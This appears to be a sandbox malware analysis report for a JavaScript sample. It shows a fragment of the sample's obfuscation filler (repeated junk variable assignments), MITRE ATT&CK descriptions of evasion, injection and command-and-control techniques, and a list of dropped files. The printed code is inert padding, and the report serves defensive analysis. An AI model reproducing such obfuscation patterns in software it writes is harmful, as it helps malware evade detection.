1340	oudls = "K";
1341	oudls = "q";
1342	oudls = "C";
1343	oudls = "8";
1344	igyrgvob = "V";
1345	igyrgvob = "G";
1346	igyrgvob = "e";
1347	igyrgvob = "I";
1348	igyrgvob = "u";
1349	igyrgvob = "H";
1350	igyrgvob = "j";
1351	igyrgvob = "G";
1352	igyrgvob = "e";
1353	igyrgvob = "S";
1354	igyrgvob = "K";
1355	igyrgvob = "X";
1356	igyrgvob = "M";
1357	igyrgvob = "D";
1358	igyrgvob = "U";
1359	igyrgvob = "M";
1360	igyrgvob = "P";
1361	igyrgvob = "l";
1362	igyrgvob = "K";
1363	igyrgvob = "y";
1364	igyrgvob = "V";
1365	igyrgvob = "G";
1366	igyrgvob = "i";
1367	igyrgvob = "D";
1368	igyrgvob = "x";
1369	igyrgvob = "W";
1370	igyrgvob = "G";
1371	igyrgvob = "l";
1372	igyrgvob = "w";
1373	igyrgvob = "Z";
1374	igyrgvob = "Y";
1375	igyrgvob = "x";
1376	igyrgvob = "s";
1377	igyrgvob = "L";
1378	igyrgvob = "I";
1379	igyrgvob = "O";
1380	igyrgvob = "N";
1381	viron = "b";
1382	viron = "f";
1383	viron = "A";
1384	viron = "a";
1385	viron = "V";
1386	viron = "v";
1387	viron = "V";
1388	viron = "C";
1389	viron = "O";
1390	viron = "v";
1391	viron = "d";
1392	viron = "Y";
1393	viron = "k";
1394	viron = "y";
1395	viron = "x";
1396	viron = "h";
1397	viron = "t";
1398	viron = "B";
1399	viron = "G";
1400	viron = "Y";
1401	viron = "Q";
1402	viron = "q";
1403	viron = "d";
1404	viron = "W";
1405	viron = "j";
1406	viron = "B";
1407	viron = "G";
1408	viron = "l";
1409	viron = "k";
1410	viron = "M";
1411	viron = "q";
1412	viron = "w";
1413	viron = "J";
1414	viron = "B";
1415	viron = "g";
1416	viron = "R";
1417	viron = "K";
1418	viron = "j";
1419	viron = "p";
1420	snibdbng = "x";
1421	snibdbng = "F";
1422	snibdbng = "g";
1423	snibdbng = "n";
1424	snibdbng = "q";
1425	snibdbng = "M";
1426	snibdbng = "R";
1427	snibdbng = "W";
1428	snibdbng = "C";
1429	snibdbng = "j";
1430	snibdbng = "d";
1431	snibdbng = "q";
1432	wuyxaeiis ( );	wuyxaeiis() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 279482651296229246.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\1090d7ed-e0a0-4fcb-8285-1d789dc99c21.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6ddc61a6-abdc-4281-a1f9-0e481fe28e22.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4f6f24.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1128

Windows Analysis Report
279482651296229246.js